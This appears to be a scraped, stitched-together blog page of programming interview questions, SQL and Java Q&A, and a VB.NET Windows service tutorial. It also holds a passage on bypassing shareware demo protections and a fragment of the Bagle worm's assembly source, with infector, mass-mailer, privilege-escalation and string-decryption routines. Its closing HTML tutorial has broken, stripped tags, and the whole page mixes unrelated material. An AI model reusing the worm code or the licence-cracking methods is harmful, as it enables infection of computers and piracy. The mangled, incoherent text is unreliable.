Hardware architecture interview questions C++ Hardware Are you familiar with the term MESI? Are you familiar with the term snooping? Describe a finite state machine that will detect three consecutive coin tosses (of one coin) that results in heads. In what cases do you need to double clock a signal before presenting it to a synchronous state machine? You have a driver that drives a long signal & connects to an input device. At the input device there is either overshoot, undershoot or signal threshold violations, what can be done to correct this problem? For a single computer processor computer system, what is the purpose of a processor cache and describe its operation? Explain the operation considering a two processor computer system with a cache for each processor. What are the main issues associated with multiprocessor caches and how might you solve it? Explain the difference between write through and write back cache. What are the total number of lines written in C/C++? What is the most complicated/valuable program written in C/C++? What compiler was used? Have you studied busses? What types? Have you studied pipelining? List the 5 stages of a 5 stage pipeline. Assuming 1 clock per stage, what is the latency of an instruction in a 5 stage machine? What is the throughput of this machine ? How many bit combinations are there in a byte? What is the difference between = and == in C? Are you familiar with VHDL and/or Verilog? Tricky C questions C++ How do you write a program which produces its own source code as its output? How can I find the day of the week given the date? Why doesn’t C have nested functions? What is the most efficient way to count the number of bits which are set in a value? How can I convert integers to binary or hexadecimal? How can I call a function, given its name as a string? How do I access command-line arguments? How can I return multiple values from a function? How can I invoke another program from within a C program? How can I access memory located at a certain address? How can I allocate arrays or structures bigger than 64K? How can I find out how much memory is available? How can I read a directory in a C program? How can I increase the allowable number of simultaneously open files? What’s wrong with the call fopen(”c:\newdir\file.dat”, “r”)? C++ developer interview C++ Will the following program execute?void main() { void *vptr = (void *) malloc(sizeof(void)); vptr++; } How about this one? void main() { char *cptr = 0?2000; long *lptr = 0?2000; cptr++; lptr++; printf(” %x %x”, cptr, lptr); }Will it execute or not? When the processor wakes up after power on, it goes to a particular memory location. What is that memory location called? What is the difference between Mutex and Binary semaphore? Write a program to set 2nd bit in a 32 bit register with memory location 0×2000? C questions for a hardware engineer C++ Hardware What are the total number of lines written in C/C++? What is the most complicated/valuable program written in C/C++? What compiler was used? Have you studied buses? What types? Have you studied pipelining? List the 5 stages of a 5 stage pipeline. Assuming 1 clock per stage, what is the latency of an instruction in a 5 stage machine? What is the throughput of this machine ? How many bit combinations are there in a byte? What is the difference between = and == in C? Are you familiar with VHDL and/or Verilog? C++ interview questions This set of C++ interview questions was sent to TechInterviews from Australia:
What is the difference between an ARRAY and a LIST? What is faster : access the element in an ARRAY or in a LIST? Define a constructor - what it is and how it might be called (2 methods). Describe PRIVATE, PROTECTED and PUBLIC – the differences and give examples. What is a COPY CONSTRUCTOR and when is it called (this is a frequent question !)? Explain term POLIMORPHISM and give an example using eg. SHAPE object: If I have a base class SHAPE, how would I define DRAW methods for two objects CIRCLE and SQUARE. What is the word you will use when defining a function in base class to allow this function to be a polimorphic function? What are 2 ways of exporting a function from a DLL? You have two pairs: new() and delete() and another pair : alloc() and free(). Explain differences between eg. new() and malloc() What is a callback function. Explain in C and C++ and WIN API environment. (From WINDOWS API area): what is LPARAM and WPARAM? C++ notes for discussion C++ This is not really a set of interview questions, a reader sent TechInterviews.com what looks like a copy of his notes from C++ class that describes various tricks and code for C++.
What is the output of printf(“%d”)? %d helps to read integer data type of a given variable when we write (“%d”, X) compiler will print the value of x assumed in the main but nothing after (“%d”) so the output will be garbage printf is an overload function doesnt check consistency of the arg list – segmentation fault What will happen if I say delete this? - destructor executed, but memory will not be freed (other than work done by destructor). If we have class Test and method Destroy { delete this } the destructor for Test will execute, if we have Test *var = new Test() pointer var will still be valid object created by new exists until explicitly destroyed by delete space it occupied can be reused by new delete may only be applied to a pointer by new or zero, applying delete to zero = no FX delete = delete objects delete[] – delete array delete operator destroys the object created with new by deallocating the memory assoc. with the object if a destructor has been defined fir a class delete invokes that desructor Read all interview questions
Some general quickies How did you first get interested in Computer Science? What do you like to do best related to computers now (programming, administration, testing, manage projects, etc)? What is it about that area that you specifically enjoy? What is your strongest programming language (Java, ASP, C, C++, VB, HTML,C#, etc.)? When is the last time you coded in C/C++?
What is the most lines of original C/C++ code you have personally written in one project?
How confident are you in your ability to write C or C++ without a reference?
Embedded firmware interview questions Write function in C that gets array of chars, and search for the longest sequence of repeatedly 1 bits. It returns the the first bit place in the sequence and the number of 1 bits in the sequence. - (a) loop of 2^0, 2^1, … , 2^7 is done with 1<You have 16bit register that increment itself and loops about every second. When the register reach 0xffff it will issue an interupt and will run the function update_time(). There is a function unsigned long get_time() that returns the time. You need to implement the two functions. - (a) You need to count every interrupt in order to save the number of seconds. (b) The counter will be the 16bit MSB, and the actual register will be 16bit LSB. (c) If the register will be at ~0xfff0, you will return MSB that is not correct, because you will read the counter, then interrupt will accure and increment by one. Now you have counter that is not correct. (d) You need to check for the (c) problem, and if you catch the problem, you need to read once again the register and the counter before you return them. You depend on the fact the you have about another second until the register will loop. C and C++ questions for the interview C++ What is the output of printf(”%d”) What will happen if I say delete this Difference between “C structure” and “C++ structure”. Diffrence between a “assignment operator” and a “copy constructor” What is the difference between “overloading” and “overridding”? Explain the need for “Virtual Destructor”. Read all interview questions
Microsoft college recruitment questions C++ Windows Reader Vinay Solanki faced these questions from Microsoft recruiter, who apparently was hiring straight out of college.
How did you first get interested in Computer Science? What do you like to do best related to computers now (programming, administration, testing, manage projects, etc)? What is it about that area that you specifically enjoy? What is your strongest programming language (Java, ASP, C, C++, VB, HTML,C#, etc.)? When is the last time you coded in C/C++? What is the most lines of original C/C++ code you have personally written in one project? How confident are you in your ability to write C or C++ without a reference? Read all interview questions
Windows programming interview questions
What are kernel objects? - - Several types of kernel objects, such as access token objects, event objects, file objects, file-mapping objects, I/O completion port objects, job objects, mailslot objects, mutex objects, pipe objects, process objects, semaphore objects, thread objects, and waitable timer objects. What is a kernel object? - Each kernel object is simply a memory block allocated by the kernel and is accessible only by the kernel. This memory block is a data structure whose members maintain information about the object. Some members (security descriptor, usage count, and so on) are the same across all object types, but most are specific to a particular object type. For example, a process object has a process ID, a base priority, and an exit code, whereas a file object has a byte offset, a sharing mode, and an open mode.
When a program has to make a decision it uses what’s called "Boolean Logic."
Boolean logic is named after the English mathematician George Boole . In his book An Investigation of the Laws of Thought on Which are Founded the Mathematical Theories of Logic and Probabilities, Boole made the first great strides in the understanding of human reasoning.(see p58 of The Language of Mathematics, by Keith Devlin).
Boole believed that most forms of human reasoning can be boiled down to deciding between two possibilities: good or bad, yes or no, have or have not, to be or not to be. These are mutually exclusive concepts. Nothing can be both good and bad; you can’t have and not have something; nothing can be and not be at the same time(unless you’re still stuck on that 60’s guru stuff!)
All of these concepts can be boiled down to a statement that is either true or false.
For example: I am good. Either I am, or I’m not (which means I’m bad). Another example: I have the ball. Either I do have it, or I don’t. There’s no in between. And I can’t have it both ways at the same time, no matter what those quantum physicists try to say! ;-D
Taking this idea a step further, let’s allow a statement that’s true to be represented by the number 1, and a statement that’s false to be represented by the number 0. Now we’re speaking the language of the computer—ones and zeros. The computer only speaks this form of Boolean logic, deep down in it’s CPU. A 1 is represented by the presence of an electrical charge on a capacitor (on the RAM chip) and a 0 by the absence of that charge. The computer’s CPU looks at these charges and makes decisions based upon the results.
If we ignore the CPU for now and focus on the memory, we could assign to each location in memory a statement. So, memory location 1 might represent the idea “I am good.” Location 2 might represent “I have the ball”. Location 3 might represent “To Be”. Then, we could represent the fact that I am (I “Be”), I’m good, and I don’t have the ball by 101. That’s a 1 in location 1, a 0 in location 2, and a 1 in location 3. Get it?
Now, this isn’t exactly what’s going on, obviously. However, there are times when a memory location will be used to hold a “truth value”. A program will check that memory location from time to time, to see if it’s true or false.
Let me finish this first section with some examples of real programming cases that involve just such a variable.
1) Imagine that a program is reading from a file. It starts at the first byte of the file, reads what’s there, stores it in memory, and then moves it’s “file pointer” to the next byte. Then the process repeats: read, store, advance, read, store, advance. The problem here is that there’s no way to stop. We need to add another step. After advancing the file pointer, look to see if we’ve reached the end of the file. If so (TRUE) then stop the process, if not (FALSE) then keep going. In many programming languages this is implemented using some form of a Do...While loop.
2) Most video games have a similar structure deep down in the game loop: Code: Start Loop Erase the graphics Get the user’s input Do stuff like figure out whether the user can move, fire, etc. Do the same for the objects in the game Detect any collisions Move Player and Objects Draw Player and Objects Is the user trying to quit? Back to beginning End Loop
Now, in each of these are decisions that need to be made. Just look at the last part of the loop. If the user signals that they’re trying to quit (maybe by pressing the Escape key) the program would detect this in the ‘Get the user’s input’ stage. It has to store this information away somewhere because it doesn’t get used until the end of the loop. Then, at the end of the loop, the memory location where this info was stored is checked. If it has a 1 (True) then the loop exits and the game shuts down (or goes to a menu or something else).
In pseudo-code this might look like this: Code: GetKeyPress() If KeyPressed = {Escape} then store TRUE at memory location xxxxx . . do rest of stuff . . If memory location xxxxx = TRUE then exit the loop
3) A company has written a unique application that they believe many people will find useful. They don’t have the finances to advertise aggressively, so they decide to make their program Shareware and disable some of it’s features until the user pays to register it.
The company doesn’t really want to write a completely different version of the program, so they add a variable to the program (let’s call it isDemo).
They make the variable isDemo equal TRUE (or 1). Then, they add code to check and see if the isDemo variable is TRUE or FALSE at specific places where they want to disable features.
For example, they may not want to let you save or print your work. Thus, they add a check to the beginning of their save and print sections of code (routines). Basically, they would say “Check the value of the isDemo variable. If isDemo is TRUE then print a message saying “ Code: Sorry, this feature is disabled. Please register your program!”.
If is-Demo is false, Code: then it’s not a demo version so go ahead and save or print the data.
The key idea is that the demo version probably has ALL the code somewhere in the EXE file. There are only a few demos that I’ve seen that actually didn’t have the “missing code” in them. Since the code is there, it’s just a matter of re-routing the program to execute that code when you want it to run.
This last example is the sort of thing that we want to look at, right? Well... let’s do it!
Crippled-ware ------------------------------------------------------------------------ Crippled-ware is the name given to programs that have certain features disabled, like in the last example. Like I said, a company often thinks about issues like demos only after the majority of a program has been written. They don’t want to go back and write a whole new program to demo their application, so they do something like I outlined above.
There are several ways to “patch” this sort of protection scheme. You could re-route the program to go where you’d like it to. You could add the features you’d like (very advanced stuff!!!). You could change the meaning of the memory address where the data is stored to reverse the truth values. Or you could just change the value stored at that memory address.
More advanced programs may go looking for a file or an entry in the registry to signify that the program is registered. You could add whatever it’s looking for, or you could modify the code where it looks to make the program think that it’s found what it’s looking for. There are lots of different ways to achieve the same result. Not just settling for the “easy fix” can often be an educational experience.
How would you find out the total number of rows in a table? Use SELECT COUNT(*) ... in query
How do you eliminate duplicate values in SELECT ? Use SELECT DISTINCT ... in SQL query
How you insert records into a table Using SQL INSERT statement
How do you delete record from a table ? Using DELETE statement Example : DELETE FROM EMP
How do you select a row using indexes? Specify the indexed columns in the WHERE clause of query.
How do you find the maximum value in a column? Use SELECT MAX(...) .. in query
How do you retrieve the first 5 characters of FIRSTNAME column of table EMP ? SELECT SUBSTR(FIRSTNAME,1,5) FROM EMP
My SQL statement SELECT AVG(SALARY) FROM EMP yields inaccurate results. Why? Because SALARY is not declared to have NULLs and the employees for whom thesalary is not known are also counted.
How do you concatenate the FIRSTNAME and LASTNAME from EMP table to give a complete name? SELECT FIRSTNAME || ‘ ‘ || LASTNAME FROM EMP
What is UNION,UNION ALL in SQL? UNION : eliminates duplicates UNION ALL: retains duplicates Both these are used to combine the results of different SELECT statements.
Suppose I have five SQL SELECT statements connected by UNION/UNION ALL, how many times should I specify UNION to eliminate the duplicate rows? Once.
In the WHERE clause what is BETWEEN and IN? BETWEEN supplies a range of values while IN supplies a list of values.
Is BETWEEN inclusive of the range values specified? Yes.
What is 'LIKE' used for in WHERE clause? What are the wildcard characters? LIKE is used for partial string matches. ‘%’ ( for a string of any character ) and ‘_’ (for any single character ) are the two wild card characters.
When do you use a LIKE statement? To do partial search e.g. to search employee by name, you need not specify the complete name; using LIKE, you can search for partial string matches.
Example SQL : SELECT EMPNO FROM EMP WHERE EMPNAME LIKE 'RAMESH%'
% is used to represent remaining all characters in the name. This query fetches all records contains RAMESH in six characters.
What do you accomplish by GROUP BY ... HAVING clause? GROUP BY partitions the selected rows on the distinct values of the column on which you group by. HAVING selects GROUPs which match the criteria specified
Consider the employee table with column PROJECT nullable. How can you get a list of employees who are not assigned to any project? SQL : SELECT EMPNO FROM EMP WHERE PROJECT IS null;
What are the large objects supported by oracle and db2? Blob , Clob ( Binary Large Objects, Character Large Objects)
What's the difference between a primary key and a unique key? Primary key wont allow nulls, unique key allow nulls. Both Primary key and Unique key enforce the uniqueness of the column on which they are defined.
What is a join and explain different types of joins? INNER JOIN OUTER JOIN LEFT OUTER JOIN RIGHT OUTER JOIN FULL OUTER JOIN INNER JOIN
What is a self join? Joining two instances of a same table. Sample SQL : SELECT A.EMPNAME , B.EMPNAME FROM EMP A, EMP B WHERE A.MGRID = B.EMPID
What is a transaction and ACID? Transaction - A transaction is a logicl unint of work. All steps must be commited or rolled back. ACID - Atomicity, Consistency, Isolation and Duralbility, these are properties of a transaction.
Materialized Query Tables in db2 ( This feature might not be available in oracle) ? Materialized Query Tables or MQTs are also known as automatic summary tables. A materialized query table (MQT) is a table whose definition is based upon the result of a query. The data that is contained in an MQT is derived from one or more tables on which the materialized query table definition is based. MQT improve the query performance.
Sample SQL to creat MQT.
CREATE TABLE CUSTOMER_ORDER AS (SELECT SUM(AMOUNT) AS TOTAL_SUM, TRANS_DT, STATUS FROM DB2INST2.CUSTOMER_ORDER WHERE TRANS_DT BETWEEN '1/1/2001' AND '12/31/2001' GROUP BY TRANS_DT, STATUS) DATA INITIALLY DEFERRED REFRESH DEFERRED;
1.What is the diffrence between an Abstract class and Interface? [Just performing a search in programmer Certification study forum will help you get a dozen or more threads to savor, I find the following worth a glance]
Abstract classes may have some executable methods and methods left unimplemented. Interfaces contain no implementation code. A class can implement any number of interfaces, but subclass at most one abstract class. An abstract class can have nonabstract methods. All methods of an interface are abstract. An abstract class can have instance variables. An interface cannot. An abstract class can define constructor. An interface cannot. An abstract class can have any visibility: public, protected, private or none (package). An interface's visibility must be public or none (package). An abstract class inherits from Object and includes methods such as clone() and equals().
2. What is a user defined exception?
User-defined exceptions may be implemented by
defining a class to respond to the exception and embedding a throw statement in the try block where the exception can occur or declaring that the method throws the exception (to another method where it is handled).
The developer can define a new exception by deriving it from the Exception class as follows:
public class MyException extends Exception {/* class definition of constructors (but NOT the exception handling code) goes here */ public MyException() { super(); } public MyException( String errorMessage ) { super( errorMessage ); }}
The throw statement is used to signal the occurance of the exception within a try block. Often, exceptions are instantiated in the same statement in which they are thrown using the syntax.
To handle the exception within the method where it is thrown, a catch statement that handles MyException, must follow the try block. If the developer does not want to handle the exception in the method itself, the method must pass the exception using the syntax:
3. What do you know about the garbage collector? Garbage collector is a runtime component of Java which sits on top of the heap: memory area from which Java objects are created and periodically scans it for objects which are eligible to be reclaimed when there are no references to these objects in the program. There is simply no way to force garbage collection, but you can suggest your intention of getting the object garbage collecetd to Java Virtual Machine by calling
4. What is the difference between C++ & Java? Well as Bjarne Stroustrup says "..despite the syntactic similarities, C++ and Java are very different languages. In many ways, Java seems closer to Smalltalk than to C++..". Here are few I discovered:
Java is multithreaded Java has no pointers Java has automatic memory management (garbage collection) Java is platform independent (Stroustrup may differ by saying "Java is a platform" ) Java has built-in support for comment documentation Java has no operator overloading Java doesn’t provide multiple inheritance There are no destructors in Java
5. Explain RMI Architecture?
RMI uses a layered architecture, each of the layers could be enhanced or replaced without affecting the rest of the system. The details of layers can be summarised as follows:
Application Layer: The client and server program Stub & Skeleton Layer: Intercepts method calls made by the client/redirects these calls to a remote RMI service. Remote Reference Layer: Understands how to interpret and manage references made from clients to the remote service objects. Transport layer: Based on TCP/IP connections between machines in a network. It provides basic connectivity, as well as some firewall penetration strategies.
6. How do you communicate in between Applets & Servlets ?
We can use the java.net.URLConnection and java.net.URL classes to open a standard HTTP connection and "tunnel" to the web server. The server then passes this information to the servlet in the normal way. Basically, the applet pretends to be a web browser, and the servlet doesn't know the difference. As far as the servlet is concerned, the applet is just another HTTP client.
7. What is the use of Servlets ?
Servlets may be used at different levels on a distributed framework. The following are some examples of servlet usage:
To accept form input and generate HTML Web pages dynamically. As part of middle tiers in enterprise networks by connecting to SQL databases via JDBC. In conjunction with applets to provide a high degree of interactivity and dynamic Web content generation. For collaborative applications such as online conferencing. A community of servlets could act as active agents which share data with each other. Servlets could be used for balancing load among servers which mirror the same content. Protocol support is one of the most viable uses for servlets. For example, a file service can start with NFS and move on to as many protocols as desired; the transfer between the protocols would be made transparent by servlets. Servlets could be used for tunneling over HTTP to provide chat, newsgroup or other file server functions.
8. What is JDBC? How do you connect to the Database ?
JDBC stands for Java Database Connectivity. Its a set of programming APIs which allow easy connection to a wide range of databases through Java programs.
To connect to the database we will need to load the database driver and then request a connection as below:
9. In an HTML form I have a Button which makes us to open another page in 15 seconds. How will do you that ?
[This is infact a javascript question.] We can use the setTimeout method to use delay time and then the window.open method to open the new page. The script could be something like the following. We could call the doPopup() method on the click event of the button placed on our webpage.
code:
11. What is the difference between RMI & Corba ?
The most significant difference between RMI and CORBA is that CORBA was made specifically for interoperability across programming languages. That is CORBA fosters the notion that programs can be built to interact in multiple languages. The server could be written in C++, the business logic in Python, and the front-end written in COBOL in theory. RMI, on the other hand is a total Java solution, the interfaces, the implementations and the clients--all are written in Java.
RMI allows dynamic loading of classes at runtime. In a multi-language CORBA environment, dynamic class loading is not possible. The important advantage to dynamic class loading is that it allows arguments to be passed in remote invocations that are subtypes of the declared types. In CORBA, all types have to be known in advance. RMI (as well as RMI/IIOP) provides support for polymorphic parameter passing, whereas strict CORBA does not. CORBA does have support for multiple languages which is good for some applications, but RMI has the advantage of being dynamic, which is good for other applications.
12. What are the services in RMI ?
An RMI "service" could well be any Java method that can be invoked remotely. The other service is the JRMP RMI naming service which is a lookup service.
13. How will you initialize an Applet ?
Write my initialization code in the applets init method or applet constructor.
14. What is the order of method invocation in an Applet ?
public void init() : Initialization method called once by browser. public void start() : Method called after init() and contains code to start processing. If the user leaves the page and returns without killing the current browser session, the start () method is called without being preceded by init (). public void stop() : Stops all processing started by start (). Done if user moves off page. public void destroy() : Called if current browser session is being terminated. Frees all resources used by applet.
15. When is update method called ?
Whenever a screen needs redrawing (e.g., upon creation, resizing, validating) the update method is called. By default, the update method clears the screen and then calls the paint method, which normally contains all the drawing code.
16. How will you pass values from HTML page to the Servlet ?
First we put the values to be passed inside a HTML form and then call the servlet in the form action. To catch the form fields values we simply call the getParameter method of the HttpServletRequest, supplying the parameter name as an argument. The return value is a String corresponding to the first occurrence of that parameter name. An empty String is returned if the parameter exists but has no value, and null is returned if there was no such parameter.
If the parameter could potentially have more than one value we should call getParameterValues instead of getParameter. This returns an array of strings. To get a full list of parameters we can use getParameterNames which returns an Enumeration, each entry of which can be cast to a String and used in a getParameter call.
18. How will you communicate between two Applets ?
The simplest method is to use the static variables of a shared class since there's only one instance of the class and hence only one copy of its static variables. A slightly more reliable method relies on the fact that all the applets on a given page share the same AppletContext. We obtain this applet context as follows:
AppletContext provides applets with methods such as getApplet(name), getApplets(),getAudioClip, getImage, showDocument and showStatus().
19. What are statements in JAVA ?
[From the Java tutorial] Statements are equivalent to sentences in natural languages. A statement forms a complete unit of execution. The following types of expressions can be made into a statement by terminating the expression with a semicolon ( :
Assignment expressions Any use of ++ or -- Method calls Object creation expressions
These kinds of statements are called expression statements. In addition to these kinds of expression statements, there are two other kinds of statements. A declaration statement declares a variable. A control flow statement regulates the order in which statements get executed. The for loop and the if statement are both examples of control flow statements.
20. What is JAR file ?
JavaARchive files are a big glob of Java classes, images, audio, etc., compressed to make one simple, smaller file to ease Applet downloading. Normally when a browser encounters an applet, it goes and downloads all the files, images, audio, used by the Applet separately. This can lead to slower downloads.
21. What is JNI ?
JNI is an acronym of Java Native Interface. Using JNI we can call functions which are written in other languages from Java. Following are its advantages and disadvantages: Advantages:
You want to use your existing library which was previously written in other language. You want to call Windows API function. For the sake of execution speed. You want to call API function of some server product which is in c or c++ from java client.
Disadvantages:
You can’t say write once run anywhere. Difficult to debug runtime error in native code. Potential security risk. You can’t call it from Applet.
22. What is the base class for all swing components ?
JComponent (except top-level containers)
23. What is JFC ?
Java Foundation Classes include:
Standard AWT 1.1 Accessibility interface Lightweight components: which are user interface components that do not subclass an existing AWT interface element. They do not use native interface elements as provided by the underlying windowing system. This means that they are less limiting than standard AWT components. Java look and feel Support for native look and feel Services such as Java2D and Drag and Drop
24. What is Difference between AWT and Swing ?
Swing provides a richer set of components than AWT. They are 100% Java-based. AWT on the other hand was developed with the mind set that if a component or capability of a component weren’t available on one platform, it wouldn’t be available on any platform. Due to the peer-based nature of AWT, what might work on one implementation might not work on another, as the peer-integration might not be as robust. There are a few other advantages to Swing over AWT:
Swing provides both additional components and added functionality to AWT-replacement components Swing components can change their appearance based on the current "look and feel" library that's being used. Swing components follow the Model-View-Controller (MVC) paradigm, and thus can provide a much more flexible UI. Swing provides "extras" for components, such as: Icons on many components Decorative borders for components Tool tips for components Swing components are lightweight (less resource intensive than AWT) Swing provides built-in double buffering Swing provides paint debugging support for when you build your own components
Swing also has a few disadvantages:
It requires Java 2 or a separate JAR file If you're not very careful when programming, it can be slower than AWT (all components are drawn) Swing components that look like native components might not act exactly like native components
Up until .Net, the creation of Windows services was limited to C++ guru's. Not anymore. In this article Jayesh shows us how to create, install, start and stop a service with VB.Net.If you want to write application that constantly monitors some files, creates a log file, or anything else which runs constantly in the background while the machine is busy doing something else, the best way to this used to be to run a windows application continuously or at a regular interval with the use of Windows scheduler.
There was one big disadvantage to this -- someone had to log into the system to start the application. This sort of activity has been long put behind us thanks to Windows services. For Windows NT/2000. In this article we're going to learn what a Windows service is and also how to create our own, using VB.Net.
Creating A Windows Service in VB.NET - What is Windows Service
Previously called an NT service, the core function of a Windows aervice is to run an application in the background. There are few things that make them different from a Windows application. A Windows service starts much before any user logs in to the system (if it has been setup to start at boot up process). A Windows service can also be setup in such a way that it requires a user to start it manually – the ultimate customization!
Windows services have their own processes, and hence run very efficiently. Normally a Windows service will not have a user interface for the simple reason that it can be run even if no one is logged into the system, but this is not a rule -- you can still have a Windows service with a user interface. In windows 2000 you can view a list of services currently running on your computer by opening Control Panel -> Administrative Tools -> Services, as shown below:
Add a timer control from the toolbar in the Components tab. In the properties window of Timer1, change the interval property to 10000, which is 10 seconds.
Examining The Source Code Double click the timer1 control to open up the code window for Timer1_Elapsed. Type in the following code:
Dim MyLog As New EventLog() ' create a new event log ' Check if the the Event Log Exists If Not MyLog.SourceExists("MyService") Then MyLog.CreateEventSource("MyService", "Myservice Log") ' Create Log End If MyLog.Source = "MyService" ' Write to the Log MyLog.WriteEntry("MyService Log", "This is log on " & _ CStr(TimeOfDay), EventLogEntryType.Information)
Type in the following code for the OnStart procedure:
Timer1.Enabled = True
Type in the following code in the OnStop procedure:
Timer1.Enabled = False
Our application is now ready, but there are a few things that we need to do before we move ahead when we build this application. The executable created is not a Windows application, and hence you can't just click and run it -- it needs to be installed as a service, but don't worry, we don't have to do it manually -- VB.Net has a facility where we can add an installer to our program and then use a utility to install the service.
Creating A Windows Service in VB.NET - Adding an Installer to the Project
Open the service1.vb design window, right click on it and select Add Installer option, which will add an installer project (called ProjectInstaller.vb) with two controls -- ServiceProcessInstaller1 and ServiceInstaller1 -- to our existing project.
Select the ServiceInstaller1 control and open the property window. Change the ServiceName property and DisplayName property to MyService (this is the name you want to appear in the list of services in the services window).
Select the ServiceProcessInstaller1 control and open the property window. Change the Account property to LocalSystem (this needs to be specified as we need to run the service on our local machine).
Now it's time for us to build the application and create an executable. Select Build Solution from the Build menu to create an executable with installation instructions for the service.
Installing the Service To install our service we need to use the InstallUtil program, which is a .NET utility to install Windows services. You can it in C:\ WINNT\ Microsoft.NET\ Framework\ v1.0.3705 This directory might be different on your computer, depending upon the version of the .NET framework you are working with.
Alternatively, you could run a .NET Command Window by selecting Start –> Programs -> Microsoft Visual Studio .NET -> Visual Studio .NET Tools >- Visual Studio .NET Command Prompt, which sets all of the required paths for you.
Type the following command in the command window:
InstallUtil C:\tgol\Myservice\Bin\Myservice.exe
Tthis is the path for the executable of the service we just created. Remember that VB.NET created the executable in the Bin folder under the project folder, so make sure you change this to your executable path.
Starting the Service Running a service and starting a service are two different things -- when you install the service with InstallUtil you are running the service, but have yet have to start it.
To view and start the service, open Control Panel -> Administrative Tools. Now click Services, locate MyService, right click on it and select Start to start it:
Our service is now started. Open the Event Viewer from Administrative Tools and click Application Log to see the logs created by the Service (MyService) every 10 seconds. If you don't see any logs click refresh (F5). You will have to keep refreshing to see the latest event logs:
Stopping the Service This procedure is similar to installing the service but now we shall run the InstallUtil with the /U parameter, which will uninstall the service:
InstallUtil /U C:\tgol\Myservice\Bin\Myservice.exe (or the executable path on your computer).
Take note of the message to confirm that the service was uninstalled properly.
Tips Stop the service and close the service window before you install/uninstall the service. Always uninstall/install if you make any changes to the service application. Try avoiding a user interface, inputs and message boxes in the service application. Open ProjectInstaller.vb, select the ServiceInstaller1 control, and open the property window. Change the StartType property to automatic if you want to start the service automatically.
.nolist include kernel32.inc include windows.inc include user32.inc include wsock32.inc include ole32.inc include shlwapi.inc include oaidl.inc include wininet.inc include advapi32.inc include urlmon.inc include shell32.inc include gdi32.inc
szText MACRO Name, Text:VARARG LOCAL lbl jmp lbl Name db Text,0 lbl: ENDM
m2m MACRO M1, M2 push M2 pop M1 ENDM
mNextListEntry MACRO ML cld xor eax, eax or ecx, -1 repnz scasb cmp byte ptr[edi], 0 jnz ML ENDM
.data EncryptStart2 dw "$$", "$$"
.code EncryptStart dw "$$", "$$"
include Config.inc include Src\SrcFile.inc include Utils.asm include Stream.asm include PassGen.asm include HashTable.asm IFNDEF DisablePK include ProcKiller.asm ENDIF include CPLStub.inc include CPL.asm include VBS.asm include HTA.asm include ZIP.asm include StartUp.asm include Network.asm IFNDEF DisableNotify include Notify.asm ENDIF include Admin.asm include DNS.asm include SMTPClient.asm include SMTPThread.asm IFNDEF DisableInfect include PVG.asm include PEInfector.asm ENDIF include EmailScanner.asm include HDDScanner.asm include SMTPMessage.asm
.data ; Do not change order szSeDebug db "SeDebugPrivilege",0 szAdvApi db "advapi32.dll",0 db "AdjustTokenPrivileges", 0 db "InitializeAcl",0 db "LookupPrivilegeValueA",0 db "OpenProcessToken",0 db "SetSecurityInfo",0,0
szKernel32 db "kernel32.dll",0 db "RegisterServiceProcess",0,0 ; RegisterServiceProcess(GetCurrentProcessID,1);. ..
szNetworkParams db "iphlpapi.dll",0,"GetNetworkParams",0,0 dwGetNetworkParams dd 0
szMutexes db "MuXxXxTENYKSDesignedAsTheFollowerOfSkynet-D",0 ; Netsky.AA db "'D'r'o'p'p'e'd'S'k'y'N'e't'",0 ; NetSky.P db "_-oOaxX|-+S+-+k+-+y+-+N+-+e+-+t+-|XxKOo-_",0 ; NetSky.Q db "[SkyNet.cz]SystemsMutex",0 ; NetSky.D db "AdmSkynetJklS003",0 ; NetSky.B db "____--->>>>U<<<<--____",0 ; NetSky.X db "_-oO]xX|-S-k-y-N-e-t-|Xx[Oo-_",0,0 ; NetSky.P
; NetSky startup names szNetSkies db "My AV",0 ; NetSky.K db "Zone Labs Client Ex",0 ; NetSky.F db "9XHtProtect",0 ; NetSky.M db "Antivirus",0 ; NetSky.H db "Special Firewall Service",0 ; NetSky.G db "service",0 ; NetSky.A, NetSky.B db "Tiny AV",0 ; NetSky.I db "ICQNet",0 ; NetSky.C db "HtProtect",0 ; NetSky.L db "NetDy",0 ; NetSky.N db "Jammer2nd",0 ; NetSky.Z db "FirewallSvr",0 ; NetSky.X db "MsInfo",0 ; NetSky.O db "SysMonXP",0 ; NetSky.Q db "EasyAV",0 ; NetSky.S, NetSky.T, NetSky.U db "PandaAVEngine",0 ; NetSky.R db "Norton Antivirus AV",0 ; NetSky.P db "KasperskyAVEng",0 ; NetSky.V db "SkynetsRevenge",0 ; NetSky.AAA db "ICQ Net",0,0 ; NetSky.D, NetSky.E, NetSky.J
EncryptEnd2 dw "$$", "$$"
.code
; Create NetSky mutexes, to prevent it from running RegNetSky proc uses edi mov edi, offset szMutexes
@next: invoke CreateMutex, NULL, TRUE, edi mNextListEntry @next
ret RegNetSky endp
; Remove NetSky startup entries KillNetSky proc uses edi LOCAL hkHandle: DWORD
; Adjust some privileges for current process ProcessStartup proc uses esi edi LOCAL hToken: DWORD LOCAL SeDebugNameValue: QWORD LOCAL tkp: TOKEN_PRIVILEGES LOCAL len: DWORD LOCAL myACL: ACL
; Greetz to antivirus companies db 13,10,13,10,13,10,13,10 db "In a difficult world",13,10 db "In a nameless time",13,10 db "I want to survive",13,10 db "So, you will be mine!!",13,10 db "-- Bagle Author, 29.04.04, Germany." db 13,10,13,10,13,10,13,10
DecryptProc proc uses edi lpStart, lpEnd: DWORD mov edi, lpStart .WHILE edi != lpEnd inc edi xor byte ptr[edi-1], 5 not byte ptr[edi-1] .ENDW ret DecryptProc endp
In as many tags i had given spaces to not be prsed in this blog ! please cut those spaces if you are using the sctipts Getting started
The form we're going to validate contains just two required fields:
E-mail How useful did you find this article? Both of these fields are required for the form to be submitted. The HTML to create this form is as follows:
<>
<>
<>Webcredible - JavaScript tutorial - form validation< /title>
< type="text/css">@import "css.css";
< type="text/javascript" src="js.js">
< / head>
<>
< action="#">
<>
<>
<>
< /ul>
< type="submit" value="Submit form">
< /form>
< /body> < /html>
The fields are labelled as being required by inserting an image within the <> tag with alt="required".
onsubmit for testing Initially we'll also insert an onsubmit with a call to our form validation script. This will help us test the page as the JavaScript develops. It'll be removed at the end of this article and a function call will be assigned to the form itself with JavaScript.
We'll insert the HTML extra code as follows:
< onsubmit="validateForms()" action="#">
The JavaScript We'll create a JavaScript file and call it js.js. The function we've called on the onsubmit command is called validateForms(), so we start by creating that empty function at the start of the js.js file:
function validateForms() { }
The validateForms() function is the root function that will be used to control how the form is validated. The validation script will then be applied to all forms. Let's start by getting an HTML object collection of any forms on the HTML page:
Looping The next step in the validation process is to loop through the forms and validate them. All forms will be handled in the same way. We'll do this using a for loop to loop through the HTML object collection with each form being passed to a new function called validateForm():
